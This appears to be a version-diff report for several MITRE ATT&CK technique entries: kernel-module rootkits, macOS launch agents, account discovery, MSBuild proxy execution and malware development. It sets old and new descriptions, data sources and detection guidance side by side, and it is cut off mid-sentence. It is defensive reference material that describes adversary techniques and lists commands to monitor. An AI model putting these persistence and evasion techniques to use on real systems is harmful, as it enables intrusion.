| > | ieces of code that can be loaded and unloaded into the kerne | > | ieces of code that can be loaded and unloaded into the kerne | ||
| > | l upon demand. They extend the functionality of the kernel w | > | l upon demand. They extend the functionality of the kernel w | ||
| > | ithout the need to reboot the system. For example, one type | > | ithout the need to reboot the system. For example, one type | ||
| > | of module is the device driver, which allows the kernel to a | > | of module is the device driver, which allows the kernel to a | ||
| > | ccess hardware connected to the system. (Citation: Linux Ker | > | ccess hardware connected to the system. (Citation: Linux Ker | ||
| > | nel Programming) When used maliciously, LKMs can be a type | > | nel Programming) When used maliciously, LKMs can be a type | ||
| > | of kernel-mode [Rootkit](https://attack.mitre.org/technique | > | of kernel-mode [Rootkit](https://attack.mitre.org/technique | ||
| > | s/T1014) that run with the highest operating system privileg | > | s/T1014) that run with the highest operating system privileg | ||
| > | e (Ring 0). (Citation: Linux Kernel Module Programming Guide | > | e (Ring 0). (Citation: Linux Kernel Module Programming Guide | ||
| > | ) Common features of LKM based rootkits include: hiding itse | > | ) Common features of LKM based rootkits include: hiding itse | ||
| > | lf, selective hiding of files, processes and network activit | > | lf, selective hiding of files, processes and network activit | ||
| > | y, as well as log tampering, providing authenticated backdoo | > | y, as well as log tampering, providing authenticated backdoo | ||
| > | rs and enabling root access to non-privileged users. (Citati | > | rs and enabling root access to non-privileged users. (Citati | ||
| > | on: iDefense Rootkit Overview) Kernel extensions, also call | > | on: iDefense Rootkit Overview) Kernel extensions, also call | ||
| > | ed kext, are used for macOS to load functionality onto a sys | > | ed kext, are used for macOS to load functionality onto a sys | ||
| > | tem similar to LKMs for Linux. They are loaded and unloaded | > | tem similar to LKMs for Linux. They are loaded and unloaded | ||
| > | through <code>kextload</code> and <code>kextunload</code> co | > | through <code>kextload</code> and <code>kextunload</code> co | ||
| > | mmands. Adversaries can use LKMs and kexts to covertly pers | > | mmands. Since macOS Catalina 10.15, kernel extensions have b | ||
| > | ist on a system and elevate privileges. Examples have been f | > | een deprecated on macOS systems.(Citation: Apple Kernel Exte | ||
| > | ound in the wild and there are some open source projects. (C | > | nsion Deprecation) Adversaries can use LKMs and kexts to co | ||
| > | itation: Volatility Phalanx2) (Citation: CrowdStrike Linux R | > | vertly persist on a system and elevate privileges. Examples | ||
| > | ootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorp | > | have been found in the wild and there are some open source p | ||
| > | hine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Cit | > | rojects. (Citation: Volatility Phalanx2) (Citation: CrowdStr | ||
| > | ation: Synack Secure Kernel Extension Broken)(Citation: Secu | > | ike Linux Rootkit) (Citation: GitHub Reptile) (Citation: Git | ||
| > | relist Ventir) (Citation: Trend Micro Skidmap) | > | Hub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick W | ||
| > | ardle) (Citation: Synack Secure Kernel Extension Broken)(Cit | ||||
| > | ation: Securelist Ventir) (Citation: Trend Micro Skidmap) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-30 21:23:15.188000+00:00 | 2021-10-19 04:03:46.357000+00:00 |
| description | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)
When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands.
Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap) | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)
When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)
Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap) |
| external_references[4]['source_name'] | Volatility Phalanx2 | Apple Kernel Extension Deprecation |
| external_references[4]['description'] | Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018. | Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020. |
| external_references[4]['url'] | https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html | https://developer.apple.com/support/kernel-extensions/ |
| external_references[5]['source_name'] | CrowdStrike Linux Rootkit | Volatility Phalanx2 |
| external_references[5]['description'] | Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. | Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018. |
| external_references[5]['url'] | https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ | https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html |
| external_references[6]['source_name'] | GitHub Reptile | CrowdStrike Linux Rootkit |
| external_references[6]['description'] | Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018. | Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. |
| external_references[6]['url'] | https://github.com/f0rb1dd3n/Reptile | https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ |
| external_references[7]['source_name'] | GitHub Diamorphine | GitHub Reptile |
| external_references[7]['description'] | Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. | Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018. |
| external_references[7]['url'] | https://github.com/m0nad/Diamorphine | https://github.com/f0rb1dd3n/Reptile |
| external_references[8]['source_name'] | RSAC 2015 San Francisco Patrick Wardle | GitHub Diamorphine |
| external_references[8]['description'] | Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018. | Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. |
| external_references[8]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://github.com/m0nad/Diamorphine |
| external_references[9]['source_name'] | Synack Secure Kernel Extension Broken | RSAC 2015 San Francisco Patrick Wardle |
| external_references[9]['description'] | Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018. | Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018. |
| external_references[9]['url'] | https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| external_references[10]['source_name'] | Securelist Ventir | Synack Secure Kernel Extension Broken |
| external_references[10]['description'] | Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018. | Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018. |
| external_references[10]['url'] | https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ | https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ |
| external_references[11]['source_name'] | Trend Micro Skidmap | Securelist Ventir |
| external_references[11]['description'] | Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020. | Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018. |
| external_references[11]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/ | https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ |
| external_references[12]['source_name'] | Linux Loadable Kernel Module Insert and Remove LKMs | Trend Micro Skidmap |
| external_references[12]['description'] | Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018. | Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020. |
| external_references[12]['url'] | http://tldp.org/HOWTO/Module-HOWTO/x197.html | https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/ |
| external_references[13]['source_name'] | Wikipedia Loadable Kernel Module | Linux Loadable Kernel Module Insert and Remove LKMs |
| external_references[13]['description'] | Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018. | Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018. |
| external_references[13]['url'] | https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux | http://tldp.org/HOWTO/Module-HOWTO/x197.html |
| x_mitre_data_sources[0] | Process monitoring | File: File Modification |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_detection | Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
For macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.
Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r) | Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)
On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)
|
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Wikipedia Loadable Kernel Module', 'description': 'Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.', 'url': 'https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux'} | |
| external_references | {'source_name': 'User Approved Kernel Extension Pike’s', 'description': 'Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021.', 'url': 'https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/'} | |
| external_references | {'source_name': 'Purves Kextpocalypse 2', 'description': 'Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.', 'url': 'https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/'} | |
| external_references | {'source_name': 'Apple Developer Configuration Profile', 'description': 'Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.', 'url': 'https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf'} | |
| x_mitre_contributors | Wayne Silva, F-Secure Countercept | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Kernel: Kernel Module Load |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 13:54:08.239000+00:00 | 2021-09-28 13:09:50.809000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Windows Registry | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Packet capture | Service: Service Creation |
| x_mitre_data_sources[3] | Netflow/Enclave netflow | Windows Registry: Windows Registry Key Modification |
| x_mitre_version | 1.0 | 1.2 |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify launch agents to repeatedly | t | 1 | Adversaries may create or modify launch agents to repeatedly |
| > | execute malicious payloads as part of persistence. Per Appl | > | execute malicious payloads as part of persistence. When a u | ||
| > | e’s developer documentation, when a user logs in, a per-user | > | ser logs in, a per-user launchd process is started which loa | ||
| > | launchd process is started which loads the parameters for e | > | ds the parameters for each launch-on-demand user agent from | ||
| > | ach launch-on-demand user agent from the property list (plis | > | the property list (.plist) file found in <code>/System/Libra | ||
| > | t) files found in <code>/System/Library/LaunchAgents</code>, | > | ry/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, | ||
| > | <code>/Library/LaunchAgents</code>, and <code>$HOME/Library | > | and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs | ||
| > | /LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemo | > | Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citat | ||
| > | ns) (Citation: OSX Keydnap malware) (Citation: Antiquated Ma | > | ion: Antiquated Mac Malware) Property list files use the <co | ||
| > | c Malware). These launch agents have property list files whi | > | de>Label</code>, <code>ProgramArguments </code>, and <code>R | ||
| > | ch point to the executables that will be launched (Citation: | > | unAtLoad</code> keys to identify the Launch Agent's name, ex | ||
| > | OSX.Dok Malware). Adversaries may install a new launch ag | > | ecutable location, and execution time.(Citation: OSX.Dok Mal | ||
| > | ent that can be configured to execute at login by using laun | > | ware) Launch Agents are often installed to perform updates t | ||
| > | chd or launchctl to load a plist into the appropriate direct | > | o programs, launch user specified programs at login, or to c | ||
| > | ories (Citation: Sofacy Komplex Trojan) (Citation: Methods | > | onduct other developer tasks. Launch Agents can also be ex | ||
| > | of Mac Malware Persistence). The agent name may be disguise | > | ecuted using the [Launchctl](https://attack.mitre.org/techni | ||
| > | d by using a name from a related operating system or benign | > | ques/T1569/001) command. Adversaries may install a new Lau | ||
| > | software. Launch Agents are created with user level privileg | > | nch Agent that executes at login by placing a .plist file in | ||
| > | es and are executed with the privileges of the user when the | > | to the appropriate folders with the <code>RunAtLoad</code> o | ||
| > | y log in (Citation: OSX Malware Detection) (Citation: OceanL | > | r <code>KeepAlive</code> keys set to <code>true</code>.(Cita | ||
| > | otus for OS X). They can be set up to execute when a specifi | > | tion: Sofacy Komplex Trojan)(Citation: Methods of Mac Malwar | ||
| > | c user logs in (in the specific user’s directory structure) | > | e Persistence) The Launch Agent name may be disguised by usi | ||
| > | or when any user logs in (which requires administrator privi | > | ng a name from the related operating system or benign softwa | ||
| > | leges). | > | re. Launch Agents are created with user level privileges and | ||
| > | execute with user level permissions.(Citation: OSX Malware | ||||
| > | Detection)(Citation: OceanLotus for OS X) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 22:11:45.513000+00:00 | 2021-10-15 07:41:40.262000+00:00 |
| description | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).
Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges). | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.
Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_detection | Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications. | Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.
Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Service: Service Creation | |
| x_mitre_data_sources | Service: Service Modification |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of local system acc | t | 1 | Adversaries may attempt to get a listing of local system acc |
| > | ounts. This information can help adversaries determine which | > | ounts. This information can help adversaries determine which | ||
| > | local accounts exist on a system to aid in follow-on behavi | > | local accounts exist on a system to aid in follow-on behavi | ||
| > | or. Commands such as <code>net user</code> and <code>net lo | > | or. Commands such as <code>net user</code> and <code>net lo | ||
| > | calgroup</code> of the [Net](https://attack.mitre.org/softwa | > | calgroup</code> of the [Net](https://attack.mitre.org/softwa | ||
| > | re/S0039) utility and <code>id</code> and <code>groups</code | > | re/S0039) utility and <code>id</code> and <code>groups</code | ||
| > | >on macOS and Linux can list local users and groups. On Linu | > | >on macOS and Linux can list local users and groups. On Linu | ||
| > | x, local users can also be enumerated through the use of the | > | x, local users can also be enumerated through the use of the | ||
| > | <code>/etc/passwd</code> file. | > | <code>/etc/passwd</code> file. On macOS the <code>dscl . li | ||
| > | st /Users</code> command can be used to enumerate local acco | ||||
| > | unts. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniel Stepanic, Elastic'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 19:39:59.544000+00:00 | 2021-07-28 18:05:24.567000+00:00 |
| description | Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. | Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts. |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Access |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 21:48:41.083000+00:00 | 2021-10-18 17:45:48.323000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Logon Session: Logon Session Metadata |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_data_sources | Logon Session: Logon Session Creation | |
| x_mitre_platforms | Containers |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use MSBuild to proxy execution of code throu | t | 1 | Adversaries may use MSBuild to proxy execution of code throu |
| > | gh a trusted Windows utility. MSBuild.exe (Microsoft Build E | > | gh a trusted Windows utility. MSBuild.exe (Microsoft Build E | ||
| > | ngine) is a software build platform used by Visual Studio. I | > | ngine) is a software build platform used by Visual Studio. I | ||
| > | t handles XML formatted project files that define requiremen | > | t handles XML formatted project files that define requiremen | ||
| > | ts for loading and building various platforms and configurat | > | ts for loading and building various platforms and configurat | ||
| > | ions.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild | > | ions.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild | ||
| > | to proxy execution of malicious code. The inline task capab | > | to proxy execution of malicious code. The inline task capab | ||
| > | ility of MSBuild that was introduced in .NET version 4 allow | > | ility of MSBuild that was introduced in .NET version 4 allow | ||
| > | s for C# code to be inserted into an XML project file.(Citat | > | s for C# or Visual Basic code to be inserted into an XML pro | ||
| > | ion: MSDN MSBuild) MSBuild will compile and execute the inli | > | ject file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBui | ||
| > | ne task. MSBuild.exe is a signed Microsoft binary, so when i | > | ld Inline Tasks 2017) MSBuild will compile and execute the i | ||
| > | t is used this way it can execute arbitrary code and bypass | > | nline task. MSBuild.exe is a signed Microsoft binary, so whe | ||
| > | application control defenses that are configured to allow MS | > | n it is used this way it can execute arbitrary code and bypa | ||
| > | Build.exe execution.(Citation: LOLBAS Msbuild) | > | ss application control defenses that are configured to allow | ||
| > | MSBuild.exe execution.(Citation: LOLBAS Msbuild) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['@ionstorm', 'Carrie Roberts, @OrOneEqualsOne'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-08 23:29:28.074000+00:00 | 2021-10-15 23:57:07.973000+00:00 |
| description | Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into an XML project file.(Citation: MSDN MSBuild) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild) | Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild) |
| external_references[2]['source_name'] | LOLBAS Msbuild | Microsoft MSBuild Inline Tasks 2017 |
| external_references[2]['description'] | LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019. | Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021. |
| external_references[2]['url'] | https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ | https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'LOLBAS Msbuild', 'description': 'LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Msbuild/'} | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may develop malwar | t | 1 | Adversaries may develop malware and malware components that |
| > | e and malware components that can be used during targeting. | > | can be used during targeting. Building malicious software ca | ||
| > | Building malicious software can include the development of p | > | n include the development of payloads, droppers, post-compro | ||
| > | ayloads, droppers, post-compromise tools, backdoors, packers | > | mise tools, backdoors (including backdoored images), packers | ||
| > | , C2 protocols, and the creation of infected removable media | > | , C2 protocols, and the creation of infected removable media | ||
| > | . Adversaries may develop malware to support their operation | > | . Adversaries may develop malware to support their operation | ||
| > | s, creating a means for maintaining control of remote machin | > | s, creating a means for maintaining control of remote machin | ||
| > | es, evading defenses, and executing post-compromise behavior | > | es, evading defenses, and executing post-compromise behavior | ||
| > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | ||
| > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As | > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As | ||
